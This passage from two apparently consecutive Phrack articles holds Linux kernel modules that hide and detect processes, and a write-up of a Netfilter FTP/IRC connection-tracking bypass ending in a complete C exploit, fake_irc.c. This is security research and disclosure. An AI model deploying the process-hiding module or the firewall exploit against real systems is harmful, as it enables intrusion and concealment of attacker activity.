Anyway for an example with the *need ro call* method.. For this we launch a bash session so that we can _put it on the run queue_ by writing some command on it.. like i said, we catch these tasks only when they do syscalls

[root@absinth ksched]# gcc ‑c ‑I/$LINUXSRC/include src/sht.c ‑o src/sht.o [root@absinth ksched]# insmod sht.o

[root@absinth ksched]# insmod hp.o pid=`pidof hidden_bash` method=1 hp.o: init_module: Device or resource busy

Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters

You may find more information in syslog or the output from dmesg ( now we type some command in the hidden bash session to make it run ) [root@absinth root]# tail /var/log/messages

.......

Jul 8 19:43:26 absinth kernel: [SHT] task pid 562 <bash> task addr 0xc72f0000 syscall 175 ‑ TASK IS HIDDEN ( NOT ON LINKED LIST / on pidhash list / pid is valid )

Jul 8 19:43:26 absinth kernel: [SHT] task pid 562 <bash> task addr 0xc72f0000 syscall 3 ‑ TASK IS HIDDEN ( NOT ON LINKED LIST / on pidhash list / pid is valid )

[root@absinth ksched]# rmmod sht

Voila. It works.. it also looks for unhashed or pid 0 tasks; the only problem atm is the big output which ill sort out with some list hashed by the task address/pid/processor/start_time so that we only get 1 warning per hidden process :‑/

To use the kernel patch instead of the module change to the top of your linux source tree and apply it with `patch ‑p0 < sh.patch` (if you have a layout like /usr/src/linux/, cd into /usr/src/). The patch is for the 2.4.30 branch (although it migth work with other 2.4 kernels; if you need it for other kernel versions check with me) and it works just like the module just that it hooks directly into the schedule() function and so can catch sooner any hidden tasks.

Now if some of you are thinking at this point why make public research like this when its most likely to get abused, my answer is simple, dont be an ignorant, if i have found most of this things on my own I dont have any reason to believe others havent and its most likely to already been used in the wild, maybe not that widespead but lacking the right tools to peek in the kernel memory, we would never know if and how used it is already. So shut your suck hole .. the only ppl hurting from this are the underground hackers, but then again they are brigth people and other more leet methods are ahead :‑) just think about hideing a task inside another task (sshutup ubra !! lol no peeking)

.. you will read about it probably in another small article

‑‑[ 5 ‑ references

[1] manual pages for ps(1) , top(1) , pstree(1) and the proc(5) interface http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=ps

http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=top

http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=pstree

http://linux.com.hk/PenguinWeb/manpage.jsp?section=5&name=proc

[2] LRK ‑ Linux Root Kit

by Lord Somer <webmaster@lordsomer.com> http://packetstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz

[3] LKM HACKING

by pragmatic from THC http://reactor‑core.org/linux‑kernel‑hacking.html

[4] Syscall redirection without modifying the syscall table by Silvio Cesare <silvio@big.net.au> http://www.big.net.au/~silvio/stealth‑syscall.txt

http://spitzner.org/winwoes/mtx/articles/syscall.htm

[5] Phrack 59/0x04 ‑ Handling the Interrupt Descriptor Table by kad <kadamyse@altern.org> http://www.phrack.org/show.php?p=59&a=4

[6] Phrack 61/0x0e ‑ Kernel Rootkit Experiences

by stealth <stealth@segfault.net> http://www.phrack.org/show.php?p=61&a=14

[7] Linux kernel internals #Process and Interrupt Management by Tigran Aivazian <tigran@veritas.com> http://www.tldp.org/LDP/lki/lki.html

[8] Scheduling in UNIX and Linux

by moz <moz@compsoc.man.ac.uk> http://www.kernelnewbies.org/documents/schedule/

[9] KernelAnalysis‑HOWTO #Linux Multitasking

by Roberto Arcomano <berto@fatamorgana.com> http://www.tldp.org/HOWTO/KernelAnalysis‑HOWTO.html

[10] chkrootkit ‑ CHecK ROOT KIT

by Nelson Murilo <nelson@pangeia.com.br> http://www.chkrootkit.org/

[11] manual page for clone(2) http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=clone

[12] manual page for ptrace(2) http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=ptrace

‑‑[ 6 ‑ and the game dont stop..

Hei fukers! octavian, trog, slider, raven and everyone else I keep close with, thanks for being there and wasteing time with me, sometimes I really need that ; ruffus , nirolf and vadim wtf lets get the old team on again .. bafta pe oriunde sunteti dudes.

If you notice any typos, mistakes, have anything to communicate with me feel free make contact.

web ‑ w3.phi.group.eu.org

mail ‑ ubra_phi.group.eu.org

irc ‑ Efnet/Undernet #PHI

* the contact info and web site is and will not be valid/up for a few weeks while im moving house, sorry ill get things settled ASAP ( that is up until about august of 2005 ), meanwhile you can get in touch with me on the email dragosg_personal.ro

‑‑[ 7 ‑ sources

<++> src/Makefile

all: sht.c hp.c

gcc ‑c ‑I/EDIT_HERE_YOUR_LINUX_SOURCE_TREE/linux/include sht.c hp.c

<‑‑>

<++> src/hp.c

/*|

*hp ‑ hide pid v1.0.0

* hides a pid using different methods

* ( demo code for hideing processes paper )

*

*syntax : insmod hp.o (pid=pid_no|task=task_addr) [method=0x1|0x2|0x4] *

*coded in 2004 by ubra from PHI Group

* web ‑ ubra.phi.group.za.org

* mail ‑ ubra_phi.group.za.org

* irc ‑ Efnet/Undernet#PHI

|*/

#define __KERNEL__

#define MODULE

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/sched.h>

pid_t pid = 0 ;

struct task_struct *task = 0 ;

unsigned char method = 0x3 ;

int init_module ( ) {

if ( pid ) {

task = find_task_by_pid(pid) ;

printk ( "[HP] address of task struct for pid %i is 0x%p\n" , pid , task ) ; if ( task ) {

write_lock_irq(&tasklist_lock) ;

if ( method & 0x1 ) {

printk("[HP] removing process links\n") ; REMOVE_LINKS(task) ;

}

if ( method & 0x2 ) {

printk("[HP] unhashing pid\n") ;

unhash_pid(task) ;

}

if ( method & 0x4 ) {

printk("[HP] zerofing pid\n") ;

task‑>pid == 0 ;

}

write_unlock_irq(&tasklist_lock) ;

}

} else if ( task ) {

printk ( "[HP] unhideing task at addr 0x%x\n" , task ) ; write_lock_irq(&tasklist_lock) ;

if ( method & 0x1 ) {

printk("[HP] setting process links\n") ;

SET_LINKS(task) ;

}

if ( method & 0x2 ) {

printk("[HP] hashing pid\n") ;

hash_pid(task) ;

}

if ( method & 0x4 ) {

printk ( "[HP] reverting 0 pid to %i\n" , task‑>tgid ) ; task‑>pid = task‑>tgid ;

}

write_unlock_irq(&tasklist_lock) ;

}

return 1 ;

}

MODULE_PARM ( pid , "i" ) ;

MODULE_PARM_DESC ( pid , "the pid to hide" ) ;

MODULE_PARM ( task , "l" ) ;

MODULE_PARM_DESC ( task , "the address of the task struct to unhide" ) ;

MODULE_PARM ( method , "b" ) ;

MODULE_PARM_DESC ( method , "a bitwise OR of the method to use , 0x1 ‑ linked list , 0x2 ‑ pidhash , 0x4 ‑ zerofy pid" ) ;

MODULE_AUTHOR("ubra @ PHI Group") ;

MODULE_DESCRIPTION("hp ‑ hide pid v1.0.0 ‑ hides a task with 3 possible methods") ; MODULE_LICENSE("GPL") ;

EXPORT_NO_SYMBOLS ;

<‑‑>

<++> src/sht.c

/*|

*sht ‑ search hidden tasks v1.0.0

* checks tasks to be visible upon entering syscall

* ( demo code for hideing processes paper )

*

*syntax : insmod sht.o

*

*coded in 2005 by ubra from PHI Group

* web ‑ w3.phi.group.za.org

* mail ‑ ubra_phi.group.za.org

* irc ‑ Efnet/Undernet#PHI

|*/

#define __KERNEL__

#define MODULE

#include <linux/kernel.h>

#include <linux/module.h>

#include <linux/sched.h>

struct idta {

unsigned short size ;

unsigned long addr __attribute__((packed)) ;

} ;

struct idt {

unsigned short offl ;

unsigned short seg ;

unsigned char pad ;

unsigned char flags ;

unsigned short offh ;

} ;

unsigned long get_idt_addr ( void ) {

struct idta idta ;

asm ( "sidt %0" : "=m" (idta) ) ;

return idta.addr ;

}

unsigned long get_int_addr ( unsigned int intp ) {

struct idt idt ;

unsigned long idt_addr ;

idt_addr = get_idt_addr() ;

idt = *((struct idt *) idt_addr + intp) ;

return idt.offh << 16 | idt.offl ;

}

void hook_int ( unsigned int intp , unsigned long new_func , unsigned long *old_func ) { struct idt idt ;

unsigned long idt_addr ;

if ( old_func )

*old_func = get_int_addr(intp) ;

idt_addr = get_idt_addr() ;

idt = *((struct idt *) idt_addr + intp) ;

idt.offh = (unsigned short) (new_func >> 16 & 0xFFFF) ;

idt.offl = (unsigned short) (new_func & 0xFFFF) ;

*((struct idt *) idt_addr + intp) = idt ;

return ;

}

asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) ; asmlinkage void stub_func ( void ) ;

unsigned long new_handler = (unsigned long) &check_task ;

unsigned long old_handler ;

void stub_handler ( void ) {

asm(".globl stub_func\n"

".align 4,0x90\n"

"stub_func :\n"

"pushal\n"

"pushl%%eax\n"

"movl$‑8192 , %%eax\n"

"andl%%esp , %%eax\n"

"pushl%%eax\n"

"movl‑4(%%esp) , %%eax\n"

"pushl%%esp\n"

"call*%0\n"

"addl$12 , %%esp\n"

"popal\n"

"jmp*%1\n"

:: "m" (new_handler) , "m" (old_handler) ) ;

}

asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) { struct task_struct *task_p = &init_task ;

unsigned char on_ll = 0 , on_ph = 0 ;

if ( ! task‑>mm )

return ;

do {

if ( task_p == task ) {

on_ll = 1 ;

break ;

}

task_p = task_p‑>next_task ;

} while ( task_p != &init_task ) ;

if ( find_task_by_pid(task‑>pid) == task )

on_ph = 1 ;

if ( ! on_ll || ! on_ph || ! task‑>pid )

printk ( "[SHT] task pid %i <%s> task addr 0x%x syscall %i ‑ TASK IS HIDDEN ( %s / %s / %s )\n" , task‑>pid , task‑>comm , task , regs‑>orig_eax , on_ll ? "on linked list" : "NOT ON LINKED LIST" , on_ph ? "on pidhash list" : "NOT ON PIDHASH LIST" , task‑>pid ? "pid is valid" : "PID IS INVALID" ) ; return ;

}

int sht_init ( void ) {

hook_int ( 128 , (unsigned long) &stub_func , &old_handler ) ; printk("[SHT] loaded ‑ monitoring tasks integrity\n") ;

return 0 ;

}

void sht_exit ( void ) {

hook_int ( 128 , old_handler , NULL ) ;

printk("[SHT] unloaded\n") ;

return ;

}

module_init(sht_init) ;

module_exit(sht_exit) ;

MODULE_AUTHOR("ubra / PHI Group") ;

MODULE_DESCRIPTION("sht ‑ search hidden tasks v1.0.0") ; MODULE_LICENSE("GPL") ;

EXPORT_NO_SYMBOLS ;

<‑‑>

<++> src/sh.patch

‑‑‑ linux‑2.4.30/kernel/sched_orig.c2004‑11‑17 11:54:22.000000000 +0000 +++ linux‑2.4.30/kernel/sched.c2005‑07‑08 13:29:16.000000000 +0000 @@ ‑534,6 +534,25 @@

__schedule_tail(prev);

}

+asmlinkage void phi_sht_check_task(struct task_struct *prev, struct task_struct *next) +{

+struct task_struct *task_p = &init_task;

+unsigned char on_ll = 0, on_ph = 0;

+

+do {

+if(task_p == prev) {

+on_ll = 1;

+break;

+}

+task_p = task_p‑>next_task ;

+} while(task_p != &init_task);

+if (find_task_by_pid(prev‑>pid) == prev)

+on_ph = 1 ;

+if (!on_ll || !on_ph || !prev‑>pid)

+printk("[SHT] task pid %i <%s> task addr 0x%x ( next task pid %i <%s> next task addr 0x%x ) ‑ TASK IS HIDDEN ( %s / %s / %s )\n", prev‑>pid, prev‑>comm, prev, next‑>pid, next‑>comm, next, on_ll ? "on linked list" : "NOT ON LINKED LIST", on_ph ? "on pidhash list" : "NOT ON PIDHASH LIST", prev‑>pid ? "pid is valid" : "PID IS INVALID"); +return;

+}

+

/*

* 'schedule()' is the scheduler function. It's a very simple and nice * scheduler: it's not perfect, but certainly works for most things. @@ ‑634,6 +653,13 @@

task_set_cpu(next, this_cpu);

spin_unlock_irq(&runqueue_lock);

+/*

+ * check task`s structures before we do any scheduling decision + * skip any kernel thread which might yeld false positives

+ */

+if(prev‑>mm)

+phi_sht_check_task(prev, next);

+

if (unlikely(prev == next)) {

/* We won't go through the normal tail, so do this by hand */

prev‑>policy &= ~SCHED_YIELD;

<‑‑>

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Breaking Through a Firewall

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x13 of 0x14

|=‑‑‑‑‑‑=[ Breaking through a Firewall using a forged FTP command ]=‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Soungjoo Han <kotkrye@hanmail.net> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

Table of Contents

1 ‑ Introduction

2 ‑ FTP, IRC and the stateful inspection of Netfilter

3 ‑ Attack Scenario I

3.1 ‑ First Trick

3.2 ‑ First Trick Details

4 ‑ Attack Scenario II ‑ Non‑standard command line

4.1 ‑ Second Trick Details

5 ‑ Attack Scenario III ‑ 'echo' feature of FTP reply 5.1 ‑ Passive FTP: background information

5.2 ‑ Third Trick Details

6 ‑ APPENDIX I. A demonstration tool of the second trick

7 ‑ APPENDIX II. A demonstration example of the second attack trick.

‑‑[ 1 ‑ Introduction

FTP is a protocol that uses two connections. One of them is called a control connection and the other, a data connection. FTP commands and replies are exchanged across the control connection that lasts during an FTP session. On the other hand, a file(or a list of files) is sent across the data connection, which is newly established each time a file is transferred.

Most firewalls do not usually allow any connections except FTP control connections to an FTP server port(TCP port 21 by default) for network security. However, as long as a file is transferred, they accept the data connection temporarily. To do this, a firewall tracks the control connection state and detects the command related to file transfer. This is called stateful inspection.

I've created three attack tricks that make a firewall allow an illegal connection by deceiving its connection tracking using a forged FTP command.

I actually tested them in Netfilter/IPTables, which is a firewall installed by default in the Linux kernel 2.4 and 2.6. I confirmed the first trick worked in the Linux kernel 2.4.18 and the second one(a variant of the first one) worked well in the Linux 2.4.28(a recent version of the Linux kernel).

This vulnerability was already reported to the Netfilter project team and they fixed it in the Linux kernel 2.6.11.

‑‑[ 2 ‑ FTP, IRC and the stateful inspection of Netfilter

First, let's examine FTP, IRC(You will later know why IRC is mentioned) and the stateful inspection of Netfilter. If you are a master of them, you can skip this chapter.

As stated before, FTP uses a control connection in order to exchange the commands and replies(, which are represented in ASCII) and, on the contrary, uses a data connection for file transfer.

For instance, when you command "ls" or "get <a file name>" at FTP prompt, the FTP server(in active mode) actively initiates a data connection to a TCP port number(called a data port) on the FTP client, your host. The client, in advance, sends the data port number using a PORT command, one of FTP commands.

The format of a PORT command is as follows.

PORT<space>h1,h2,h3,h4,p1,p2<CRLF>

Here the character string "h1,h2,h3,h4" means the dotted‑decimal IP "h1.h2.h3.h4" which belongs to the client. And the string "p1,p2" indicates a data port number(= p1 * 256 + p2). Each field of the address and port number is in decimal number. A data port is dynamically assigned by a client. In addition, the commands and replies end with <CRLF> character sequence.

Netfilter tracks an FTP control connection and gets the TCP sequence number and the data length of a packet containing an FTP command line (which ends with <LF>). And then it computes the sequence number of the next command packet based on the information. When a packet with the sequence number is arrived, Netfilter analyzes whether the data of the packet contains an FTP command. If the head of the data is the same as "PORT" and the data ends with <CRLF>, then Netfilter considers it as a valid PORT command (the actual codes are a bit more complicated) and extracts an IP address and a port number from it. Afterwards, Netfilter "expects" the server to actively initiate a data connection to the specified port number on the client. When the data connection request is actually arrived, it accepts the connection only while it is established. In the case of an incomplete command which is called a "partial" command, it is dropped for an accurate tracking.

IRC (Internet Relay Chat) is an Internet chatting protocol. An IRC client can use a direct connection in order to speak with another client. When a client logs on the server, he/she connects to an IRC server (TCP port 6667 by default). On the other hand, when the client wants to communicate with another, he/she establishes a direct connection to the peer. To do this, the client sends a message called a DCC CHAT command in advance. The command is analogous to an FTP PORT command. And Netfilter tracks IRC connections as well. It expects and accepts a direct chatting connection.

‑‑[ 3 ‑ Attack Scenario I

‑‑‑‑[ 3.1 ‑ First Trick

I have created a way to connect illegally to any TCP port on an FTP server that Netfilter protects by deceiving the connection‑tracking module in the Linux kernel 2.4.18.

In most cases, IPTables administrators make stateful packet filtering rule(s) in order to accept some Internet services such as IRC direct chatting and FTP file transfer. To do this, the administrators usually insert the following rule into the IPTables rule list.

iptables ‑A FORWARD ‑m state ‑‑state ESTABLISHED, RELATED ‑j ACCEPT

Suppose that a malicious user who logged on the FTP server transmits a PORT command with TCP port number 6667(this is a default IRC server port number) on the external network and then attempts to download a file from the server.

The FTP server actively initiates a data connection to the data port 6667 on the attacker's host. The firewall accepts this connection under the stateful packet filtering rule stated before. Once the connection is established, the connection‑tracking module of the firewall(in the Linux kernel 2.4.18) has the security flaw to mistake this for an IRC connection. Thus the attacker's host can pretend to be an IRC server.

If the attacker downloads a file comprised of a string that has the same pattern as DCC CHAT command, the connection‑tracking module will misunderstand the contents of a packet for the file transfer as a DCC CHAT command.

As a result, the firewall allows any host to connect to the TCP port number, which is specified in the fake DCC CHAT command, on the fake IRC client (i.e., the FTP server) according to the rule to accept the "related" connection for IRC. For this, the attacker has to upload the file before the intrusion.

In conclusion, the attacker is able to illegally connect to any TCP port on the FTP server.

‑‑‑‑[ 3.2 ‑ First Trick Details

To describe this in detail, let's assume a network configuration is as follows.

(a) A Netfilter/IPtables box protects an FTP server in a network. So users in the external network can connect only to FTP server port on the FTP server. Permitted users can log on the server and download/upload files.

(b) Users in the protected network, including FTP server host, can connect only to IRC servers in the external network.

(c) While one of the internet services stated in (a) and (b) is established, the secondary connections(e.g., FTP data connection) related to the service can be accepted temporarily.

(d) Any other connections are blocked.

To implement stateful inspection for IRC and FTP, the administrator loads the IP connection tracking modules called ip_conntrack into the firewall including ip_conntrack_ftp and ip_conntrack_irc that track FTP and IRC, respectively. Ipt_state must be also loaded.

Under the circumstances, an attacker can easily create a program that logs on the FTP server and then makes the server actively initiate an FTP data connection to an arbitrary TCP port on his/her host.

Suppose that he/she transmits a PORT command with data port 6667 (i.e., default IRC server port).

An example is "PORT 192,168,100,100,26,11\r\n".

The module ip_conntrack_ftp tracking this connection analyzes the PORT command and "expects" the FTP server to issue an active open to the specified port on the attacker's host.

Afterwards, the attacker sends an FTP command to download a file, "RETR <a file name>". The server tries to connect to port 6667 on the attacker's host. Netfilter accepts the FTP data connection under the stateful packet filtering rule.

Once the connection is established, the module ip_conntrack mistakes this for IRC connection. Ip_conntrack regards the FTP server as an IRC client and the attacker's host as an IRC server. If the fake IRC client (i.e., the FTP server) transmits packets for the FTP data connection, the module ip_conntrack_irc will try to find a DCC protocol message from the packets.

The attacker can make the FTP server send the fake DCC CHAT command using the following trick. Before this intrusion, the attacker uploads a file comprised of a string that has the same pattern as a DCC CHAT command in advance.

To my knowledge, the form of a DCC CHAT command is as follows.

"\1DCC<a blank>CHAT<a blank>t<a blank><The decimal IP address of the IRC client><blanks><The TCP port number of the IRC client>\1\n"

An example is "\1DCC CHAT t 3232236548 8000\1\n"

In this case, Netfilter allows any host to do an active open to the TCP port number on the IRC client specified in the line. The attacker can, of course, arbitrarily specify the TCP port number in the fake DCC CHAT command message.

If a packet of this type is passed through the firewall, the module ip_conntrack_irc mistakes this message for a DCC CHAT command and "expects" any host to issue an active open to the specified TCP port number on the FTP server for a direct chatting.

As a result, Netfilter allows the attacker to connect to the port number on the FTP server according to the stateful inspection rule.

After all, the attacker can illegally connect to any TCP port on the FTP server using this trick.

‑‑[ 4 ‑ Attack Scenario II ‑ Non‑standard command line

‑‑‑‑[ 4.1. Second Trick Details

Netfilter in the Linux kernel 2.4.20(and the later versions) is so fixed that a secondary connection(e.g., an FTP data connection) accepted by a primary connection is not mistaken for that of any other protocol. Thus the packet contents of an FTP data connection are not parsed any more by the IRC connection‑tracking module.

However, I've created a way to connect illegally to any TCP port on an FTP server that Netfilter protects by dodging connection tracking using a nonstandard FTP command. As stated before, I confirmed that it worked in the Linux kernel 2.4.28.

Under the circumstances stated in the previous chapter, a malicious user in the external network can easily create a program that logs on the FTP server and transmits a nonstandard FTP command line.

For instance, an attacker can transmit a PORT command without the character <CR> in the end of the line. The command line has only <LF> in the end.

An example is "PORT 192,168,100,100,26,11\n".

On the contrary, a standard FTP command has <CRLF> sequence to denote the end of a line.

If the module ip_conntrack_ftp receives a nonstandard PORT command of this type, it first detects a command and finds the character <CR> for the parsing. Because it cannot be found, ip_conntrack_ftp regards this as a "partial" command and drops the packet.

Just before this action, ip_conntrack_ftp anticipated the sequence number of a packet that contains the next FTP command line and updated the associated information. This number is calculated based on the TCP sequence number and the data length of the "partial" PORT command packet.

However, a TCP client, afterwards, usually retransmits the identical PORT command packet since the corresponding reply is not arrived at the client. In this case, ip_conntrack_ftp does NOT consider this retransmitted packet as an FTP command because its sequence number is different from that of the next FTP command anticipated. From the point of view of ip_conntrack_ftp, the packet has a "wrong" sequence number position.

The module ip_conntrack_ftp just accepts the packet without analyzing this command. The FTP server can eventually receive the retransmitted packet from the attacker.

Although ip_conntrack_ftp regards this "partial" command as INVALID, some FTP servers such as wu‑FTP and IIS FTP conversely consider this PORT command without <CR> as VALID. In conclusion, the firewall, in this case, fails to "expect" the FTP data connection.

And when the attacker sends a RETR command to download a file from the server, the server initiates to connect to the TCP port number, specified in the partial PORT command, on the attacker's host.

Suppose that the TCP port number is 6667(IRC server port), the firewall accepts this connection under the stateless packet filtering rule that allows IRC connections instead of the stateful filtering rule. So the IP connection‑tracking module mistakes the connection for IRC.

The next steps of the attack are the same as those of the trick stated in the previous chapter.

In conclusion, the attacker is able to illegally connect to any TCP port on the FTP server that the Netfilter firewall box protects.

*[supplement] There is a more refined method to dodge the connection‑tracking of Netfilter. It uses default data port. On condition that data port is not specified by a PORT command and a data connection is required to be established, an FTP server does an active open from port 20 on the server to the same (a client's) port number that is being used for the control connection.

To do this, the client has to listen on the local port in advance. In addition, he/she must bind the local port to 6667(IRCD) and set the socket option "SO_REUSEADDR" in order to reuse this port.

Because a PORT command never passes through a Netfilter box, the firewall can't anticipate the data connection. I confirmed that it worked in the Linux kernel 2.4.20.

** A demonstration tool and an example of this attack are described in APPENDIX I and APPENDIX II, respectively.

‑‑[ 5 ‑ Attack Scenario III ‑ 'echo' feature of FTP reply

‑‑‑‑[ 5.1 ‑ Passive FTP: background information

An FTP server is able to do a passive open for a data connection as well. This is called passive FTP. On the contrary, FTP that does an active open is called active FTP.

Just before file transfer in the passive mode, the client sends a PASV command and the server replies the corresponding message with a data port number to the client. An example is as follows.

‑> PASV\r\n

<‑ 227 Entering Passive Mode (192,168,20,20,42,125)\r\n

Like a PORT command, the IP address and port number are separated by commas. Meanwhile, when you enter a user name, the following command and reply are exchanged.

‑> USER <a user name>\r\n

<‑ 331 Password required for <the user name>.\r\n

‑‑‑‑[ 5.2 ‑ Third Trick Details

Right after a user creates a connection to an FTP server, the server usually requires a user name. When the client enters a login name at FTP prompt, a USER command is sent and then the same character sequence as the user name, which is a part of the corresponding reply, is returned like echo. For example, a user enters the sting "Alice Lee" as a login name at FTP prompt, the following command line is sent across the control connection.

‑> USER Alice Lee\r\n

The FTP server usually replies to it as follows.

<‑ 331 Password required for Alice Lee.\r\n

("Alice Lee" is echoed.)

Blanks are able to be included in a user name.

A malicious user can insert a arbitrary pattern in the name. For instance, when the same pattern as the reply for passive FTP is inserted in it, a part of the reply is arrived like a reply related to passive FTP.

‑> USER 227 Entering Passive Mode (192,168,20,29,42,125)\r\n <‑ 331 Password required for 227 Entering Passive Mode (192,168,20,29,42,125).\r\n

Does a firewall confuse it with a `real' passive FTP reply? Maybe most firewalls are not deceived by the trick because the pattern is in the middle of the reply line.

However, suppose that the TCP window size field of the connection is properly adjusted by the attacker when the connection is established, then the contents can be divided into two like two separate replies.

(A) ‑‑‑‑‑>USER xxxxxxxxx227 Entering Passive Mode (192,168,20,29,42,125)\r\n

(B) <‑‑‑‑‑331 Password required for xxxxxxxxx

(C) ‑‑‑‑‑>ACK(with no data)

(D) <‑‑‑‑‑227 Entering Passive Mode (192,168,20,20,42,125).\r\n

(where the characters "xxxxx..." are inserted garbage used to adjust the data length.)

I actually tested it for Netfilter/IPTables. I confirmed that Netfilter does not mistake the line (D) for a passive FTP reply at all.

The reason is as follows.

(B) is not a complete command line that ends with <LF>. Netfilter, thus, never considers (D), the next packet data of (B) as the next reply. As a result, the firewall doesn't try to parse (D).

But, if there were a careless connection‑tracking firewall, the attack would work.

In the case, the careless firewall would expect the client to do an active open to the TCP port number, which is specified in the fake reply, on the FTP server. When the attacker initiates a connection to the target port on the server, the firewall eventually accepts the illegal connection.

‑‑[ 6 ‑ APPENDIX I. A demonstration tool of the second trick

I wrote an exploiting program using C language. I used the following compilation command.

/>gcc ‑Wall ‑o fake_irc fake_irc.c

The source code is as follows.

/*

USAGE : ./fake_irc <an FTP server IP> <a target port>

<a user name> <a password> <a file name to be downloaded>

‑ <an FTP server IP> : An FTP server IP that is a victim

‑ <a target port> : the target TCP port on the FTP server to which an attacker wants to connect

‑ <a user name> : a user name used to log on the FTP server

‑ <a password> : a password used to log on the FTP server

‑ <a file name to be downloaded> : a file name to be downloaded from the FTP server

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <arpa/inet.h>

#define BUF_SIZE 2048

#define DATA_BUF_SZ 65536

#define IRC_SERVER_PORT 6667

#define FTP_SERVER_PORT 21

static void usage(void)

{

printf("USAGE : ./fake_irc "

"<an FTP server IP> <a target port> <a user name> "

"<a password> <a file name to be downloaded>\n");

return;

}

void send_cmd(int fd, char *msg)

{

if(send(fd, msg, strlen(msg), 0) < 0) {

perror("send");

exit(0);

}

printf("‑‑‑>%s\n", msg);

}

void get_reply(int fd)

{

char read_buffer[BUF_SIZE];

int size;

//get the FTP server message

if( (size = recv(fd, read_buffer, BUF_SIZE, 0)) < 0) { perror("recv");

exit(0);

}

read_buffer[size] = '\0';

printf("<‑‑‑%s\n", read_buffer);

}

void cmd_reply_xchg(int fd, char *msg)

{

send_cmd(fd, msg);

get_reply(fd);

}

/*

argv[0] : a program name

argv[1] : an FTP server IP

argv[2] : a target port on the FTP server host

argv[3] : a user name

argv[4] : a password

argv[5] : a file name to be downloaded

*/

int main(int argc, char **argv)

{

int fd, fd2, fd3, fd4;

struct sockaddr_in serv_addr, serv_addr2;

char send_buffer[BUF_SIZE];

char *ftp_server_ip, *user_id, *pwd, *down_file;

unsigned short target_port;

char data_buf[DATA_BUF_SZ];

struct sockaddr_in sa_cli;

socklen_t client_len;

unsigned int on = 1;

unsigned char addr8[4];

int datasize;

if(argc != 6) {

usage();

return ‑1;

}

ftp_server_ip = argv[1];

target_port = atoi(argv[2]);

user_id = argv[3];

pwd = argv[4];

down_file = argv[5];

if((fd = socket(AF_INET, SOCK_STREAM, 0)) <0) { perror("socket");

return ‑1;

}

bzero(&serv_addr, sizeof(struct sockaddr_in)); serv_addr.sin_family = AF_INET;

serv_addr.sin_port = htons(FTP_SERVER_PORT); serv_addr.sin_addr.s_addr = inet_addr(ftp_server_ip);

//connect to the FTP server

if(connect(fd, (struct sockaddr *) &serv_addr, sizeof(struct sockaddr))) { perror("connect");

return ‑1;

}

//get the FTP server message

get_reply(fd);

//exchange a USER command and the reply

sprintf(send_buffer, "USER %s\r\n", user_id); cmd_reply_xchg(fd, send_buffer);

//exchange a PASS command and the reply

sprintf(send_buffer, "PASS %s\r\n", pwd);

cmd_reply_xchg(fd, send_buffer);

//exchange a SYST command and the reply

sprintf(send_buffer, "SYST\r\n");

cmd_reply_xchg(fd, send_buffer);

sleep(1);

//write a PORT command

datasize = sizeof(serv_addr);

if(getsockname(fd, (struct sockaddr *)&serv_addr, &datasize) < 0 ) { perror("getsockname");

return ‑1;

}

memcpy(addr8, &serv_addr.sin_addr.s_addr, sizeof(addr8));

sprintf(send_buffer, "PORT %hhu,%hhu,%hhu,%hhu,%hhu,%hhu\n", addr8[0], addr8[1], addr8[2], addr8[3], IRC_SERVER_PORT/256, IRC_SERVER_PORT % 256);

cmd_reply_xchg(fd, send_buffer);

//Be a server for an active FTP data connection

if((fd2 = socket(AF_INET, SOCK_STREAM, 0)) <0) { perror("socket");

return ‑1;

}

if(setsockopt(fd2, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0) { perror("setsockopt");

return ‑1;

}

bzero(&serv_addr, sizeof(struct sockaddr_in)); serv_addr.sin_family = AF_INET;

serv_addr.sin_port = htons(IRC_SERVER_PORT); serv_addr.sin_addr.s_addr = INADDR_ANY;

if( bind(fd2, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0 ) { perror("bind");

return ‑1;

}

if( listen(fd2, SOMAXCONN) < 0 ) {

perror("listen");

return ‑1;

}

//send a RETR command after calling listen()

sprintf(send_buffer, "RETR %s\r\n", down_file); cmd_reply_xchg(fd, send_buffer);

//accept the active FTP data connection request

client_len = sizeof(sa_cli);

bzero(&sa_cli, client_len);

fd3 = accept (fd2, (struct sockaddr*) &sa_cli, &client_len);

if( fd3 < 0 ) {

perror("accept");

return ‑1;

}

//get the fake DCC command

bzero(data_buf, DATA_BUF_SZ);

if( recv(fd3, data_buf, DATA_BUF_SZ, 0) < 0) { perror("recv");

return ‑1;

}

puts(data_buf);

///Start of the attack

if((fd4= socket(AF_INET, SOCK_STREAM, 0)) <0) { perror("socket");

return ‑1;

}

bzero(&serv_addr2, sizeof(struct sockaddr_in)); serv_addr2.sin_family = AF_INET;

serv_addr2.sin_port = htons(target_port ); serv_addr2.sin_addr.s_addr = inet_addr(ftp_server_ip);

if(connect(fd4, (struct sockaddr *)&serv_addr2, sizeof(struct sockaddr))) {

perror("connect");

return ‑1;

}else

printf("\nConnected to the target port!!\n");

//Here, communicate with the target port

sleep(3);

close(fd4);//close the attack connection

/////////////The end of the attack.

close(fd3);//close the FTP data connection

//get the reply of FTP data transfer completion

get_reply(fd);

sleep(1);

close(fd);//close the FTP control connection

close(fd2);

return 0;

}/*The end*/

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

